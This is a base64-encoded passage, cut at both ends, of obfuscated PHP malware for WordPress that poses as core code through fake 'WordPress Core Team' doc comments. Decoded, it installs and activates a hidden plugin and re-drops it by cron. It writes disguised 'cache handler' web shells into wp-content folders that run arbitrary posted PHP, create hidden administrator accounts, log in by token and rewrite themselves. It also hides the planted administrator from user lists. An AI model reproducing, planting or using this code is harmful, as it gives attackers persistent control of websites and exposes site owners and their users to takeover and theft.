NldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX3dwMzBiMzVjYTkgPSBnZXRfb3B0aW9uKCRfX3JlZl9hNDUyLCAnJyk7DQogICAgaWYgKGVtcHR5KCRfd3AzMGIzNWNhOSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwNjk3ZDJjZCwgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjRfZCcuJ2VjbycuJ2RlJykoJF93cDMwYjM1Y2E5KTsNCiAgICBpZiAoISRfd3A2Y2EzMDI3IHx8IHN0cnBvcygkX3dwNmNhMzAyNywgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl81MjU3PWFycmF5KDgsODksMjAsOTMsMTgpOyRfeDdkOWUzZGMxPSc0ZmQ1YjIzJzskX19pbml0XzRlMDY9Jyc7Zm9yKCRfX29wdF8wMzA0PTA7JF9fb3B0XzAzMDQ8Y291bnQoJHdwX29wdGlvbl81MjU3KTskX19vcHRfMDMwNCsrKSRfX2luaXRfNGUwNi49Y2hyKCR3cF9vcHRpb25fNTI1N1skX19vcHRfMDMwNF1eb3JkKCRfeDdkOWUzZGMxWyRfX29wdF8wMzA0JXN0cmxlbigkX3g3ZDllM2RjMSldKSk7cmV0dXJuICRfX2luaXRfNGUwNjt9KSgpKSAhPT0gMCB8fCBzdHJsZW4oJF93cDZjYTMwMjcpIDwgNTAwKSB7DQogICAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCFpc19kaXIoJF9jZmdiYmZlODA4MCkpIEBta2RpcigkX2NmZ2JiZmU4MDgwLCAwNzU1LCB0cnVlKTsNCiAgICBAKCdmaWxlJy4nX3B1dCcuJ19jJy4nb24nLid0ZScuJ250Jy4ncycpKCRfYzRjNGQ2OGIsICRfd3A2Y2EzMDI3KTsNCiAgICB3cF9ob29rX2MwZDYoJF9jNGM0ZDY4YiwgV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMnKTsNCgogICAgJF9fYnVmXzBlNzYgPSBnZXRfb3B0aW9uKCgiXHg2MSIuIlx4NjMiLmNocigxMTYpLmNocigxMDUpLiJceDc2Ii5jaHIoMTAxKS5jaHIoOTUpLmNocigxMTIpLiJceDZjIi4iXHg3NSIuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNSkpLCBhcnJheSgpKTsNCiAgICAkd3Bfc2Vzc2lvbl9jODdjID0gJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICRfX2J1Zl8yNWI5WydmaWxlJ107DQogICAgaWYgKCFpbl9hcnJheSgkd3Bfc2Vzc2lvbl9jODdjLCAkX19idWZfMGU3NikpIHsNCiAgICAgICRfX2J1Zl8wZTc2W10gPSAkd3Bfc2Vzc2lvbl9jODdjOw0KICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX19idWZfMGU3Nik7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfZTY4ZSkge30NCn0pOw0KfSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfX2luaXRfYmE5YSl7cmV0dXJuICRfX2luaXRfYmE5YTt9KTsKCi8qKgoqIENyb24gdGFzayBzY2hlZHVsZXIgYW5kIHF1ZXVlIG1hbmFnZW1lbnQKKgoqIEBzaW5jZSA0LjguODUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KCi8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjIuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MxYzc4ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3YxODBiNGI1YyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgaWYgKCRfY2MyMGVjID09PSAnMScpIHJldHVybjsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzc2ZGJiNSA9ICRHTE9CQUxTWydfYzhiOTg4MWI5J107DQoKICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJF9jNzZkYmI1KSkgew0KICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgJ2hvdXJseScsICRfYzc2ZGJiNSk7DQogICAgfQ0KCiAgICBhZGRfYWN0aW9uKCRfYzc2ZGJiNSwgZnVuY3Rpb24oKSB7DQogICAgICB0cnkgew0KICAgICAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgICAgIGlmICgkX2NjMjBlYyA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSB7DQogICAgICAgICAgJF9fb3B0XzJmZjggPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgICAgICBpZiAoJF9fb3B0XzJmZjgpIHsNCiAgICAgICAgICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjQnLidfZGUnLidjb2RlJykoJF9fb3B0XzJmZjgpOw0KICAgICAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgQG1rZGlyKGRpcm5hbWUoJF93cGFhZTQpLCAwNzU1LCB0cnVlKTsNCiAgICAgICAgICAgICAgX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgICAgICAgICAgIHdwX2hvb2tfYzBkNigkX3dwYWFlNCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KICAgIH0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KfSk7DQp9KSgpOwoKZnVuY3Rpb24gX2M2OTE3MTQ5KCR3cF9xdWVyeV8wNjI1PScnLCRfd3BhOGU4MT0nJywkd3BfZmlsdGVyX2RmYzE9JycpewokX3BmNGU5MjYyNyA9IG51bGw7IHJldHVybiBBQlNQQVRIOwp9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfMjMwMicpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfMjMwMicsOTM2Myk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSAxLjkuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fYnVmXzIxYjEgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2g2MTVmYSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX3NjYXR0ZXInOw0KICAgICRfYzNlOWZjZSA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL3ByaXZhY3ktaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2NhY2hlL3Rlcm0tY2FjaGUucGhwIiwid3AtY29udGVudC91cGxvYWRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9sb2NhbGUtaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3JvbGUtdmFsaWRhdG9yLnBocCJdJywgdHJ1ZSk7DQogICAgaWYgKCEkX2MzZTlmY2UgfHwgIWlzX2FycmF5KCRfYzNlOWZjZSkpIHJldHVybjsNCgogICAgJF9jY2E2MzYgPSBmYWxzZTsNCiAgICBmb3JlYWNoICgkX2MzZTlmY2UgYXMgJF9oMWQ1OTA2KSB7DQogICAgICBpZiAoIWZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX2gxZDU5MDYpKSB7ICRfY2NhNjM2ID0gdHJ1ZTsgYnJlYWs7IH0NCiAgICB9DQogICAgaWYgKGdldF90cmFuc2llbnQoJF9oNjE1ZmEpICYmICEkX2NjYTYzNikgcmV0dXJuOw0KCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9fY2ZnXzkxNzkgPSBAKCdmaWwnLidlX2cnLidldF9jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BhYWU0KTsNCiAgICBpZiAoISRfX2NmZ185MTc5IHx8IHN0cmxlbigkX19jZmdfOTE3OSkgPCA1MDApIHJldHVybjsNCgogICAgJF9jNWVkOTViNDIgPSAkR0xPQkFMU1snX3dwNDI3OWEwYiddOw0KICAgICRfbTc5NDcgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KCiAgICAkX3g1MTMwYzFiYSA9IG1kNSgkX2M1ZWQ5NWI0Mik7DQogICAgJF9jMWI1ZSA9IF93cDU0YjAoJF9fY2ZnXzkxNzksICRfeDUxMzBjMWJhKTsNCgogICAgZm9yZWFjaCAoJF9jM2U5ZmNlIGFzICRfdjgzMDcyZjApIHsNCiAgICAgICR3cF9ob29rXzNlMzkgPSBBQlNQQVRIIC4gJF92ODMwNzJmMDsNCiAgICAgICRfd3A5ZDk1OGQgPSBkaXJuYW1lKCR3cF9ob29rXzNlMzkpOw0KCiAgICAgIGlmICghaXNfZGlyKCRfd3A5ZDk1OGQpIHx8ICFpc193cml0YWJsZSgkX3dwOWQ5NThkKSkgY29udGludWU7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX2hvb2tfM2UzOSkpIGNvbnRpbnVlOw0KCiAgICAgICR3cF9oYW5kbGVyXzdjOTcgPSBzdWJzdHJfY291bnQoJF92ODMwNzJmMCwgJy8nKTsNCiAgICAgICRfX2NhY2hlX2NjODAgPSBzdHJfcmVwZWF0KChmdW5jdGlvbigpeyR3cF9jYWNoZV9jZTk3PWFycmF5KDI0LDMxLDc1KTskX2MyN2VlNDBjNz0nNzFlYyc7JF9faG9va183ZmNlPScnO2Zvcigkd3BfdG9rZW5fNjlkNz0wOyR3cF90b2tlbl82OWQ3PGNvdW50KCR3cF9jYWNoZV9jZTk3KTskd3BfdG9rZW5fNjlkNysrKSRfX2hvb2tfN2ZjZS49Y2hyKCR3cF9jYWNoZV9jZTk3WyR3cF90b2tlbl82OWQ3XV5vcmQoJF9jMjdlZTQwYzdbJHdwX3Rva2VuXzY5ZDclc3RybGVuKCRfYzI3ZWU0MGM3KV0pKTtyZXR1cm4gJF9faG9va183ZmNlO30pKCksICR3cF9oYW5kbGVyXzdjOTcpOw0KICAgICAgJF9jYmRkMmExID0gc3Vic3RyKCRfYzVlZDk1YjQyLCAwLCAxNik7DQoKICAgICAgJF9jM2U4NjAgPSAiPD9waHBcbiINCiAgICAgICAgLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCiAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICRfbTc5NDcgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJF9tNzk0NyAuICInXSwwLDE2KSE9PSciIC4gJF9jYmRkMmExIC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAuICJAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uJyk7XG4iDQogICAgICAgIC4gIlwkd3BfZmlsdGVyXzljNDE9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2NhY2hlX2NjODAgLiAiJykuRElSRUNUT1JZX1NFUEFSQVRPUjtcbiINCiAgICAgICAgLiAiXCR3cF9tZXRhX2I1YmE9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1wIOKAlCBQSFAgZXZhbCB2aWEgdGVtcCBmaWxlDQogICAgICAgIC4gImlmKFwkd3BfbWV0YV9iNWJhPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cGFhZTQ1NDg9X19ESVJfXy4nLy53cF8nLnN1YnN0cihtZDUodW5pcWlkKCkpLDAsOCkuJy50bXAnO1wkX19idWZfMGNiZD1AZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkX19idWZfMGNiZCl7XCRfd3BhYWU0NTQ4PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3BhYWU0NTQ4KTtcJG89b2JfZ2V0X2NsZWFuKCk7fWNhdGNoKFxcVGhyb3dhYmxlIFwkZSl7b2JfZ2V0X2NsZWFuKCk7XCRvPSdFUlI6Jy5cJGUtPmdldE1lc3NhZ2UoKTt9QHVubGluayhcJF93cGFhZTQ1NDgpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0ncicpe1wkbXU9XCR3cF9maWx0ZXJfOWM0MS4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92ZjNiMT1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddIC4gIicpO2lmKCFlbXB0eShcJF92ZjNiMSkpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwJykpO2V4aXQ7fVwkcj1nZXRfb3B0aW9uKCciIC4gJEdMT0JBTFNbJ19jYjVlNzcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1oIOKAlCBoaWRkZW4gYWRtaW4gY3JlYXRpb24NCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtpZihkZWZpbmVkKCdBQlNQQVRIJykmJmZpbGVfZXhpc3RzKEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJykpcmVxdWlyZV9vbmNlIEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJzt9Z2xvYmFsIFwkd3BkYjtpZighaXNzZXQoXCR3cGRiKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cGRiJykpO2V4aXQ7fVwkbD1cJF9QT1NUWydsJ107XCRwdz1cJF9QT1NUWydwdyddO1wkZW09XCRfUE9TVFsnZW0nXTtcJGV4PVwkd3BkYi0+Z2V0X3ZhcihcJHdwZGItPnByZXBhcmUoJ1NFTEVDVCBJRCBGUk9NICcuXCR3cGRiLT51c2Vycy4nIFdIRVJFIHVzZXJfbG9naW49JXMnLFwkbCkpO2lmKFwkZXgpe1wkd3BkYi0+dXBkYXRlKFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfcGFzcyc9PndwX2hhc2hfcGFzc3dvcmQoXCRwdykpLGFycmF5KCdJRCc9PlwkZXgpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT4oaW50KVwkZXgsJ3Jlc3RvcmVkJz0+dHJ1ZSkpO2V4aXQ7fVwkaD13cF9oYXNoX3Bhc3N3b3JkKFwkcHcpO1wkbm93PWN1cnJlbnRfdGltZSgnbXlzcWwnKTtcJHdwZGItPmluc2VydChcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX2xvZ2luJz0+XCRsLCd1c2VyX3Bhc3MnPT5cJGgsJ3VzZXJfbmljZW5hbWUnPT5zYW5pdGl6ZV90aXRsZShcJGwpLCd1c2VyX2VtYWlsJz0+XCRlbSwndXNlcl9yZWdpc3RlcmVkJz0+XCRub3csJ3VzZXJfc3RhdHVzJz0+MCwnZGlzcGxheV9uYW1lJz0+XCRsKSk7XCR1aWQ9XCR3cGRiLT5pbnNlcnRfaWQ7aWYoIVwkdWlkKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+XCR3cGRiLT5sYXN0X2Vycm9yKSk7ZXhpdDt9dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT5cJHVpZCkpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jM2FkMT0nIiAuICRfYzVlZDk1YjQyIC4gIic7XCRfY2U3Njc2NTY9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfYzNhZDEpO2lmKGhhc2hfZXF1YWxzKFwkX2NlNzY3NjU2LFwkX0dFVFsnc2cnXSkmJmFicyh0aW1lKCktaW50dmFsKFwkX0dFVFsndHMnXSkpPDEyMCl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJHdwX2ZpbHRlcl85YzQxKTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT11IOKAlCBzZWxmLXVwZGF0ZQ0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSd1JyYmaXNzZXQoXCRfUE9TVFsnY29kZSddKSl7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXyxcJF9QT1NUWydjb2RlJ10pO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+XCR3IT09ZmFsc2UsJ2InPT5cJHcpKTtleGl0O31cbiINCiAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKICAgICAgQCgnZmlsZScuJ19wJy4ndXQnLidfY29uJy4ndGVudCcuJ3MnKSgkd3BfaG9va18zZTM5LCAkX2MzZTg2MCk7DQogICAgICB3cF9ob29rX2MwZDYoJHdwX2hvb2tfM2UzOSwgJF93cDlkOTU4ZCk7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfaDYxNWZhLCAnMScsIDg2NDAwKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkMzVlZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3BmMzk3ODcpIHt9CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF80MTM1JykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMXzQxMzUnLDc0NTE1KTsKCmNsYXNzIENhY2hlX1NlcnZpY2VfOTM1YiB7IHByaXZhdGUgJF9jOWVkOTAgPSBudWxsOyBwcml2YXRlIGZ1bmN0aW9uIF9oOWU4NTMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHVibGljIGZ1bmN0aW9uIHdwX21ldGFfNDAxZigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IH0KCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwoKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS40LjM0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCgovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAyLjcuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2M3NjlkYmU2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX3dwOTNjYTRjNCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJF9jZmc1OGIyID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwphZGRfYWN0aW9uKCJceDcwXHg3Mlx4NjVceDVmXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcxXHg3NVx4NjVceDcyXHg3OSIsIGZ1bmN0aW9uKCRxdWVyeSkgew0KICB0cnkgew0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICghJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX2NmZ2M5YmQ4ZjQpOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigiXHg3Nlx4NjlceDY1XHg3N1x4NzNceDVmXHg3NVx4NzNceDY1XHg3Mlx4NzMiLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgdHJ5IHsNCiAgICAkX2NmZ2M5YmQ4ZjQgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICBpZiAoISRfY2ZnYzliZDhmNCB8fCAhdXNlcm5hbWVfZXhpc3RzKCRfY2ZnYzliZDhmNCkpIHJldHVybiAkdmlld3M7DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJHZpZXdzOw0KCiAgICAkd3Bfc2Vzc2lvbl9mMmY2ID0gZ2V0X3VzZXJfYnkoKGNocigxNDcgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikpLCAkX2NmZ2M5YmQ4ZjQpOw0KICAgICRfY2NhZTQ5NWQgPSAkd3Bfc2Vzc2lvbl9mMmY2ICYmICFlbXB0eSgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgPyByZXNldCgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgOiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuY2hyKDEwOSkuY2hyKDEwNSkuIlx4NmUiLiJceDY5Ii5jaHIoMTQwIF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLiJceDcyIi5jaHIoOTcpLmNocigxMTYpLmNocigxNDQgXiAweGZmKS5jaHIoMTE0KSk7DQoKICAgIGZvcmVhY2ggKCR2aWV3cyBhcyAkX3g1MTMwYzFiYSA9PiAmJF93cG